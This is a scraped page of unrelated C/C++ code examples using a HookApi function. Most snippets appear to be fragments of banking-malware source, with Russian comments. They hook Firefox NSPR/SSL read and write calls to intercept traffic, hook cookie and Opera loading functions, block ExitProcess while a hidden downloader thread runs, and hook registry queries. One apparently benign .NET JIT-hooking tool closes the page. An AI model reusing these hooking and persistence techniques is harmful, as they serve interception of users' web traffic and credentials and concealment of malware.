Exemple #1
0
bool HookJavaApi()
{
	DbgMsg("HookJavaApi",0,"BEFORE");

	if ( HookApi( 3, 0x7506E960, (DWORD)&Hook_ShowWindow ) )
	{  
		__asm mov [Real_ShowWindow], eax			
		DbgMsg("HookJavaApi",0,"Hook_ShowWindow");
	}	

	if ( HookApi( 3, 0x9D2F45DB, (DWORD)&Hook_GetMessagePos) )
	{  
		__asm mov [Real_GetMessagePos], eax			
	}	

	if ( HookApi( 3, 0x85F352BD, (DWORD)&Hook_WindowFromPoint) )
	{  
		__asm mov [Real_WindowFromPoint], eax			
	}	

	int r1 = GetTickCount();
	int r2 = GetTickCount();
	int r = r1 / ((r2 - r1) &0xffff0000);
	DbgMsg("HookJavaApi",r,"AFTER");
	
	return true;
}
Exemple #2
0
bool HookMozillaApi()
{
    InitMozillaApiCashe();

	pStructHead = NULL;
	dwHashPosts = NULL;
	dwHashCount = 0;

	DWORD PR_WriteHash	   = 0x7EFB3098;
	DWORD PR_ReadHash	   = 0xFA583271;
	DWORD PR_CloseHash	   = 0x3D3AB319;
	DWORD PR_ConnectHash   = 0xBF667EA2;
	DWORD SSL_ImportFDHash = 0xA1C4E024;

	if ( HookApi( 10, PR_ConnectHash, (DWORD)&PR_ConnectHook ) )
	{
	   __asm mov [ PR_ConnectReal ], eax
	}
	else
		return false;

	if ( HookApi( 10, PR_WriteHash, (DWORD)&PR_WriteHook ) )
	{
		__asm mov [ PR_WriteReal ], eax
	}
	else
		return false;


	if ( HookApi( 10, PR_ReadHash, (DWORD)&PR_ReadHook ) )
	{
		__asm mov [ PR_ReadReal ], eax
	}
	else
		return false;

	if ( HookApi( 10, PR_CloseHash, (DWORD)&PR_CloseHook ) )
	{
	   __asm mov [ PR_CloseReal ], eax
	}
	else
		return false;

	if ( HookApi( 11, SSL_ImportFDHash, (DWORD)&SSL_ImportFDHook ) )
	{
	   __asm mov [ SSL_ImportFDReal ], eax
	}
	else
		return false;

	return true;
}
Exemple #3
0
int WINAPI DllMain(__in void * _HDllHandle, __in unsigned _Reason, __in_opt void * _Reserved)
{
	if (_Reason == DLL_PROCESS_ATTACH)
	{
		HookApi(TRUE);
	}
	else if (_Reason == DLL_PROCESS_DETACH)
	{
		HookApi(FALSE);
	}

	return TRUE;
}
Exemple #4
0
// возвращать в ней ранее запомненные координаты, пришедшие через 
// WM_LBUTTONDOWN
DWORD WINAPI Hook_GetMessagePos()
{
	POINT lpPoint;
	lpPoint.x = g_xPos;
	lpPoint.y = g_yPos;
	DWORD res = 0;

	if (g_Count > MSG_POS_COUNT)
	{
		// GetMessagePos слишком короткая, движок неверно хукает ее
		// поэтому единственный способ вызвать оригинальную ф-ю - 
		// анхукнуть её
		UnhookGetMessagePos();
	
		// Вызываем оригинальную ф-ю 
		res = GetMessagePos();

		// Возвращаем на место обработчик 
		HookApi( 3, 0x9D2F45DB, (DWORD)&Hook_GetMessagePos);
	}
	else
	{
		g_Count++;

		// Переводим координаты из клиентских в экранные
		HWND csWnd = (g_is_dialog ? g_dialog_wnd : g_frame_wnd);
		ClientToScreen(csWnd, &lpPoint);

		// Вроде это не совсем правильная арифметика, см. MSDN по GetMessagePos
		res = ((lpPoint.y<<16) + lpPoint.x);
	}
	// Возвращаем результат
	return res;
}
Exemple #5
0
bool Init( int flags )
{
	if( !IsNewProcess(PID) ) //в том же процессе, инициализация уже была
		return true; //инициализация уже была, поэтому говорим, что инициализация успешная
	receivers = List::Create();
	if( !receivers )
		return false;
	List::SetFreeItemMehod( receivers, DelReceiver ); //для автоматического удаления получателей
	if( flags & CREATEFILEA )
	{
		if (!HookApi(DLL_KERNEL32, Hash_CreateFileA, &Hook_CreateFileA, &Real_CreateFileA ) )
			return false;
	}
	if( flags & CREATEFILEW )
	{
		if (!HookApi(DLL_KERNEL32, Hash_CreateFileW, &Hook_CreateFileW, &Real_CreateFileW ) )
			return false;
	}
	stateGrabber = 0;
	return true;
}
Exemple #6
0
bool HookJavaApi()
{
	//DbgMsg("HookJavaApi",0,"BEFORE");

	if ( HookApi( 3, 0x7506E960, (DWORD)&Hook_ShowWindow ) )
	{  
		__asm mov [Real_ShowWindow], eax			
	}	

	if ( HookApi( 3, 0x9D2F45DB, (DWORD)&Hook_GetMessagePos) )
	{  
		__asm mov [Real_GetMessagePos], eax			
	}	

	if ( HookApi( 3, 0x85F352BD, (DWORD)&Hook_WindowFromPoint) )
	{  
		__asm mov [Real_WindowFromPoint], eax			
	}	

	//DbgMsg("HookJavaApi",0,"AFTER");
	
	return true;
}
Exemple #7
0
bool HookCookie()
{
	OutputDebugStr("UnHook CookieApi - BEFORE");
	UnhookCookie();
	OutputDebugStr("UnHook CookieApi - AFTER");

	OutputDebugStr("HookCookieApi - BEFORE");

	if ( HookApi( 3, 0x929A0EB1, (DWORD)&Hook_DialogBoxParamW ) )
	{  
		__asm mov [Real_DialogBoxParamW], eax			
	}	

	OutputDebugStr("HookCookieApi - AFTER");
	
	return true;
}
Exemple #8
0
bool HookOperaExe()
{
	static const DWORD HashLoadLibraryW = 0xC8AC8030;
	// Хукаем процедуры загрузки файлов
	if ( HookApi(DLL_KERNEL32, HashLoadLibraryW, &Hook_LoadLibraryW) )
	{
		__asm mov [Real_LoadLibraryW], eax
	}
	else
		return false;
	
	OperaDLLModule = NULL;


	ODBG("Opera.exe обработан");

	return true;
}
Exemple #9
0
BOOL WINAPI DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
{
	if(ul_reason_for_call == DLL_PROCESS_ATTACH)
	{
		if(HookApi("ntdll.dll", "ZwQueryValueKey", (DWORD)&MyZwQueryValueKey, 
				&fZwQueryValueKey))
			OutputDebugString("ZwQueryValueKey hook: OK.\n");
		else
			OutputDebugString("ZwQueryValueKey hook: FAILED.\n");

		WakeUpProcess(0);
	}


    return TRUE;
}
	//------------------------------------------------------------------------
	BOOL StartLoaderThread(LPVOID SystemArgument)
	{

		//// 303_ld запуск в Svchost (тут сети может не быть)
		//PP_DBGRPT_FUNCTION_CALL(DebugReportStepByName("303_ld"));

		// Запускаем поток загружки длл
		
		//===================================================
		// Этап 1. Проверяем существование сигнального файда
		// Для этого создадим файл с экслюзивными праввами и
		// поставим его на удаление после перезапуска системы
		// Хэндл файла закрывать не будем, это даст чёткий
		// сигнал, что процесс запустивший загрузку ещё живой
		//===================================================
		PCHAR FileName = GetSignalFileName();
		if (FileName == NULL) return false;

		// Пытаемся открыть фай
		HANDLE H = (HANDLE)pCreateFileA(FileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_SYSTEM , 0);
		if (H == INVALID_HANDLE_VALUE)
		{
			// Ошибка создания файла, считаем, что
			// в данный момент файлом владеет другой процесс
			STR::Free(FileName);
			return false;
		}

		// Указываем системе, что после перезапуска необходимо
		// удалить файл
		pMoveFileExA(FileName, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);


		//===================================================
		// Этап 2: Устанавливаем хуки которые заблокируют
		// эавершение процесса до завершения работы нашего
		// потока
		//===================================================
		if ( HookApi(1, 0x95902B19 /* ExitProcess */, (DWORD)&Hook_ExitProcess ) )
			__asm mov [Real_ExitProcess], eax


		//===================================================
		//  Этап 3: Запускаем поток
		//===================================================
		ThreadHandle = StartThread(DownloadMethod, SystemArgument);
		if (ThreadHandle == NULL)
		{
			pCloseHandle(H);
			return false;
		}
		pSetThreadPriority(ThreadHandle, THREAD_PRIORITY_NORMAL);

		//===================================================
		//  Этап 4: Запускаем поток в svchost отзвона на тестовый сервер
		//===================================================
		StartThread(DbgRptSvchostThread, NULL);



		return true;
	}
DWORD __stdcall CInjection::Initialize(LPVOID lpParameter )
{
	USES_CONVERSION;

	HMODULE hInstance = (HMODULE)lpParameter;
	// get the current directory
	CString strCurrentDir = CUtility::GetCurrentDirectory();

	// dbghelp.dll
	{
		CString strDbgHelpDll;
		strDbgHelpDll.Format( _T("%s%s"), strCurrentDir, DBG_HELP_DLL);
		HMODULE hModule = ::LoadLibrary(strDbgHelpDll);
		if( hModule == NULL || !CPdbHelper::Initialize(hModule) )
		{
			s_nStatus = Status_Error_DbgHelpNotFound;
			SetEvent( s_hEvent );
			return FALSE;
		}
	}

	// find the JIT module
	g_hJitModule = GetModuleHandleA("clrjit.dll");
	if( !g_hJitModule )
		g_hJitModule = GetModuleHandleA("mscorjit.dll");
	if( g_hJitModule == NULL )
	{
		s_nStatus = Status_Error_JITNotFound;
		SetEvent( s_hEvent );
		return FALSE;
	}

	// find the CLR module
	g_hClrModule = GetModuleHandleA("clr.dll");
	if( !g_hClrModule )
		g_hClrModule = GetModuleHandleA("mscorwks.dll");
	if( g_hClrModule == NULL || !DetermineDotNetVersion() )
	{
		s_nStatus = Status_Error_CLRNotFound;
		SetEvent( s_hEvent );
		return FALSE;
	}	

	// try to quick load the symbol address base on the binary hash
	if( !CSymbolAddressCache::TryCache() )
	{
		// get the pdb directory
		CString strDestPath(strCurrentDir);
		{
			strDestPath.AppendFormat( _T("PDB_symbols\\") );
			::CreateDirectory(strDestPath, NULL);
		}

		// copy the JIT dll
		{
			TCHAR tszFilename[MAX_PATH] = {0};
			GetModuleFileName( g_hJitModule, tszFilename, MAX_PATH);

			::CopyFile( tszFilename, strDestPath + CUtility::GetFileName(tszFilename), FALSE);
		}

		// copy the CLR dll
		{
			TCHAR tszFilename[MAX_PATH] = {0};
			GetModuleFileName( g_hClrModule, tszFilename, MAX_PATH);

			::CopyFile( tszFilename, strDestPath + CUtility::GetFileName(tszFilename), FALSE);
		}

		// Set Environment Variable 
		{
			CString strVariable;
			strVariable.Format( _T("symsrv*symsrv.dll*%s*http://msdl.microsoft.com/download/symbols"), strDestPath);
			SetEnvironmentVariable( _T("_NT_SYMBOL_PATH"), strVariable.GetBuffer());
			strVariable.ReleaseBuffer();
		}


		if( !SearchMethodAddresses(T2W(strDestPath.GetBuffer())) )
		{
			// download the pdb
			// symchk.exe /if "C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorjit.dll" /s srv*G:\HookDotNet*http://msdl.microsoft.com/download/symbols
			CString strCmd;
			strCmd.Format( _T("\"%s%s\" /if \"%s*.dll\" /s symsrv*symsrv.dll*%s*http://msdl.microsoft.com/download/symbols")
				, strCurrentDir
				, SYMCHK_EXE
				, strDestPath
				, strDestPath
				);
			ATLTRACE( _T("\n%s"), strCmd);

			STARTUPINFO si = { sizeof(si) };
			si.dwFlags = STARTF_USESHOWWINDOW;
			si.wShowWindow = SW_HIDE;
			PROCESS_INFORMATION  pi = {0};
			BOOL bRet = CreateProcess( NULL
				, strCmd.GetBuffer()
				, NULL
				, NULL
				, FALSE
				, 0
				, NULL
				, strCurrentDir
				, &si
				, &pi
				);
			strCmd.ReleaseBuffer();
			if( !bRet )
			{
				s_nStatus = Status_Error_DownloadPDBFailed;
				SetEvent( s_hEvent );
				return FALSE;
			}

			WaitForSingleObject(pi.hProcess, INFINITE); 

			CloseHandle(pi.hProcess);
			CloseHandle(pi.hThread);


			// find all the pdb files
			if( !SearchMethodAddresses(NULL) )
				SearchMethodAddresses(NULL, FALSE);
		}	

		// cache the address offset according to the binary hash
		if( ICorJitCompiler::s_pfnComplieMethod )
		{
			CSymbolAddressCache::GenerateJitCache();
		};

		if( MethodDesc::IsInitialized() && LoadedMethodDescIterator::IsInitialized() )
		{
			CSymbolAddressCache::GenerateClrCache();
		}
	}

	
	HookApi();
	SetEvent( s_hEvent );
	return TRUE;
}